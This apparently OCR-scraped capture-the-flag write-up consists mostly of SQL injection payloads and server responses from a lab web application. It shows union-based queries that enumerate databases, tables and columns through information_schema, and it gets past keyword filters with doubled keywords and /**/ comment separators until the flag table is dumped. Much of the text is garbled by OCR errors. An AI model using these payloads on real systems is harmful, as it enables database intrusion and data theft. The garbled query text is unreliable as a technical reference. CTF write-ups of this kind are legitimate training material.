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You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near ' 1’’’ at line 1

HBLREE, HPRHUWZRE N FRREEN.
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‘or the right syntax to use near ’schema name information schema. schemata
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at line 1

1' unionunion selectselect schema_name from information_schema.schemata where '

] - - - » ’
.0 use near unionselectschema name information schema. schemata 1
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1' unionunion

selectselect

schema_name fromfrom information_schema.schemata

wherewhere
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schema name from information schema.

name: baloteli

schema name from information schema.

name: information_ schema

schema name from information schema.

name: test

schema name from information schema.

name: webl

schemata

schemata

schemata

schemata

where

where

where
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1' unionunion selectselect database()’
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ID: 1’ union select database()’
name: baloteli

ID: 1’ union select database()’
name: webl
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1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere
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ID: 1’ wunion select table name from information schema. tables where '1’="1
name: INNODB FT CONFIG

ID: 1’ wunion select table name from information schema. tables where '1’="1
name: admin

ID: 1’ wunion select table name from information schema. tables where '1’="1
name: flag

ID: 1’ union select table name from information schema. tables where '1’="1
name: web 1
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1' wunionunion selectselect column_name fromfrom information_schema.columns wherewhere table name='flag
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t syntax to use near from where table name= flag’’ at line

R IR column_name#ll
information_schema.columns#iZ i€
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1' unionunion selectselect column_namecolumn_name fromfrom information_schema.columnsinformation_schema.col

umns wherewhere table name='flag
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1' wunionunion selectselect column_namcolumn_namee fromfrom information_schema.columninformation_schema.colu

mnss wherewhere table_name='flag

ID: 1’ union select column name from information schema. columns where table name= flag
name: baloteli

ID: 1’ union select column name from information schema. columns where table name= flag
name: flag

ID: 1’ union select column name from information schema. columns where table name="flag
name: id
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unionunion selectselect flag fromfrom flag wherewhere '1'='1

ID: 1 union select flag from flag where '1’=1
name: baloteli

ID: 1 union select flag from flag where '1’=1
name: flag{YOu @r3 50 dAmn_ 900d}
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BWIN: 1 or1="1

1" or '1'="1 123x

SQLi detected!

AN 1Tor1="1

1'or'1'="1 235

ID: 'or 1’="1
name: baloteli

ID: 'or’1’="1
name: kanawaluo

ID: 'or' I’="1
name: dengdeng
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ID: 1’ /¥*k/or/+k/" 1"="1

name: baloteli

ID: 1’ /¥*k/or/+k/" 1"="1

name: kanawaluo
ID: 1’ /#k/or/*k/ 1" =1
name: dengdeng
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HAFEAIEA]: 1" union select schema_name from information_schema.schemata where ‘1’ ='1
£ HISQLi detected!
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|1' union select schema_nar @ 1232

SQLi detected!
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1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'="1

ID: 1’ /#k/union/*¥/select/*¥/schema_name/*%/from/**/information_schema. schemata/#¥/where/%t/" 1’="1
name: baloteli

ID: 1’ /#k/union/#*k/select/#*¥k/schema_name/¥%/from/**/information_schema. schemata/#¥k/where/%t/" 1’="1
name: information_schema

ID: 1’ /#/union/*¥/select/*¥/schema_name/*¥/from/**/information_schema. schemata/#¥/where/%t/  1’="1
name: test

ID: 1’ /#*k/union/#*%/select/**/schema_name/**/from/**/information_schema. schemata/+*k/where/*¥/" 1’ ="1
name: webl
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1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'="1

ID: 1’ /#**/union/*¥/select/**/table_name/**/from/+*k/information_schema. tables/**/where/**/" 1’="1
name: INNODB_FT CONFIG

ID: 1’ /#k/union/*k/select/**/table_name/#*k/from/*k/information_schema. tahles/*k/where/*k/" 1’ ="1
name: admin

ID: 1’ /#k/union/*k/select/**/table_name/#**k/from/*k/information_schema. tahles/*k/where/*k/" 1’ ="1
name: flag

ID: 1’ /4k/union/*k/select/+*/table name/#*k/from/**/information schema. tables/**/where/*k/" 1’="1
name: web 1
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1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table name='flag

ID: 1’ /#=/union/**/select/**/column_name/#*/from/**/information_schema. columns/#¥*/where/**/table _name= flag
name: baloteli

ID: 1’ /#=k/union/**/select/**/column name/#k/from/**/information schema. columns/#k/where/#k/table name=" flag
name: flag

ID: 1’ /#*/union/*+*/select/**/column_name/*#*/from/+*/information_schema. columns/**/where/**/table name=" flag
name: id

B flag:

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'="1



ID: 1’ /#+k/union/#*k/select/*k/flag/+k/from/+k/flag/+k/where/ ¥t/ 1’ =1
name: baloteli

ID: 1’ /**k/union/*k/select/**/flag/+*/from/*k/flag/¥k/where/**k/ 1’="1
name: flag{YOu @r3 50 dAmn 900d}
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